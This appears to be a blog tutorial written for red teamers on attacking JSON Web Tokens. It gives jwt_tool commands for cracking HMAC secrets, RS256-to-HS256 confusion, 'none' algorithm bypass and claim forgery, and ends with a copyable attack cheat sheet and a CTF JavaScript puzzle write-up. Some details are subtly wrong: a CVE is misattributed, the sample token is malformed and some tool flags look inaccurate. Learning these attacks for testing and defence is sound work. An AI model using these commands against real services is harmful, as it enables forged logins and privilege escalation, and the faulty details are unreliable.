JWT攻防实战:混淆、破解与红队利用技术

本文深入探讨JWT安全攻防技术,涵盖JWT结构解析、混淆技术、多种破解方法(包括暴力破解、算法混淆、none算法攻击),以及实际演练场景和防御建议,为红队行动提供实用技术指导。

JWT Warfare: Obfuscation, Cracking, and Red Team Exploits

Crack. Manipulate. Exploit. JWTs aren’t just tokens — they’re playgrounds for red teamers.

What is JWT?

JWT (JSON Web Token) is a compact, URL-safe method of representing claims between two parties. It is used mostly in stateless authentication. JWTs are often passed via cookies, headers, or local storage.

A JWT has 3 base64-encoded parts: <Header>.<Payload>.<Signature>

Example:

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFlbm9zaCIsInJvbGUiOiJhZG1pbiJ9.wBwbm_z1gdu9OtUsAoOhPtUp9dJYWpA7U2oPeM4osbQj

Structure:

  • Header: Specific Algorithm (e.g. HS256)
  • Payload: Contains claims like username, roles, etc.
  • Signature: Ensures integrity of header & payload

JWT Obfuscation Tactics

While JWT is readable (via base64), attackers or even lazy devs sometimes obfuscate them for complexity or security through obscurity.

Why Obfuscate?

  • Bypass security controls
  • Hide internal claims (e.g., role=admin)
  • Prevent easy inspection

Common Obfuscation Tactics:

Decode Example:

1
echo '<base64>' | base64 -d  # Only works for header/payloads

Or use tools like JWT tool:

1
python jwt_tool.py <token> -d

In older versions:

1
python3 jwt_tool.py <token> -d #python2 is used as default in older versions of linux and when using python in terminal, it automatically choose python2

Cracking JWTs

There are multiple ways to break JWTs depending on how they are implemented. Let’s dive into each.

Brute Forcing HMAC Secret (HS256)

If the JWT is signed with a weak secret:

1
python jwt_tool.py <token> -C -S <wordlist>

You might find secrets like:

  • admin
  • password123
  • jwtsecret

Works only if the algorithm is symmetric (HS256) and the key is guessable.

Algorithm Confusion: RS256 to HS256

If a JWT is signed using RS256 (asymmetric), but the server doesn’t validate the algorithm properly, you can swap it to HS256 and sign with the Public Key.

1
python jwt_tool.py <token> -X -pk public.pem -A HS256

public.pem file typically stores a public key in PEM (Privacy Enhanced Mail) format, commonly used for encryption and digital certificates with PKI. CVE-2018-0114 made this famous.

The none Algorithm Attack

Earlier JWT libraries allowed tokens to have {"alg":"none"} then ignored the signature altogether. If the server accepts it:

1
python jwt_tool.py <token> -S none

Remove the signature, and replay. You’re now “logged in.”

Claim Forgery

Manually change the payload to “admin”: true and sign again with cracked secret:

1
python jwt_tool.py <token> -E -pc 'cracked_secret' -A HS256

Challenges in Extracting or Exploiting JWTs

When JWTs are Stored in Cookies

  • Harder to see in HTTP requests
  • BurpSuite is required to intercept and extract
  • Needs cookie jar awareness in scripts
1
curl -b "auth=<jwt>" http://target.com/dashboard

When Stored in LocalStorage

  • Need XSS to steal from the browser
  • No access via server-side only enumeration

JWT Signature is Strong

  • RS256 with rotated keys
  • HMAC secrets not crackable

JWT is Short-Lived

  • Short expiry time = can’t replay easily
  • Need to intercept while valid

Real Labs (TryHackMe, HTB, Own Labs)

TryHackMe: JWT Room

  • Teaches alg:none, weak secret cracking
  • Modify the payload to escalate privileges
  • Bonus: Use BurpSuite’s JWT editor extension

HTB: “JWT Secrets” Challenge

  • Find the leaked key in JavaScript
  • Modify the token and hijack the admin session

Bonus: Create Your Own Lab

  • Use jsonwebtoken in Node.js
  • Set up weak secrets, test none bypass

Defense: How to Actually Secure JWTs

Always verify tokens server-side with trusted libraries.

Example Google CTF 2025 — Cracking the JS Safe 6.0

This isn’t a direct related to JWT Tokens, but it feels like a weaponized JWT obfuscation puzzle.

This challenge is posed as a quirky localStorage-based “JS Safe”, a front for some next-level client-side obfuscation. The goal? Recover the flag hidden behind a password check that is leveraged heavily with instrumented JavaScript and anti-debugger traps.

Frontend Instructions:

1
2
3
// Open Dev Tools and type:
// anti(debug); // Industry-leading antidebug!
// unlock("password"); // → alert(secret)

But this was bait.

Challenge Mechanics:

  • Prototype poisoning
  • A fake anti(debug) that breaks your DevTools
  • A check() function that:
    • Validates the password via a deterministic PRNG (Pseudorandom number generator)
    • Uses a ROT47-decoded character pool
    • Evolves dynamically using Function.call
    • Streams characters using a shift() based comparator

Attack Strategy:

  • Ignore the bait. Disassemble the JavaScript logic.
  • Identify core PRNG logic:
    1
    
    j = ((i || 1) * 16807 + step) % 2147483647;
    
  • Recover the character pool with ROT47:
    1
    
    pool = rot47("?o>`Wn0o0U0N?05o0ps}q0|mt`ne`us&400_pn0ss_mph_0`5")
    
  • Simulate the keystream:
    • Pull characters
    • Compare using PRNG + shifted index
    • Filter final result to match CTF format: CTF{[0-9a-zA-Z_@!?-]+}

Final Result:

1
unlock("CTF{redacted}");

Bonus Insight: This wasn’t about brute-force or headers, this was a psychological puzzle, blending:

  • Cryptographic structure
  • Obfuscation
  • Dev tool misdirection

TL;DR Cheatsheet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# Decode JWT parts
jwt_tool.py <token> -d

# Crack secret
jwt_tool.py <token> -C -S rockyou.txt

# Try 'none' alg
jwt_tool.py <token> -S none

# Modify and re-sign
jwt_tool.py <token> -E -pc 'secret' -A HS256

Originally published at https://aenosh-rajora.gitbook.io on September 13, 2025.

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计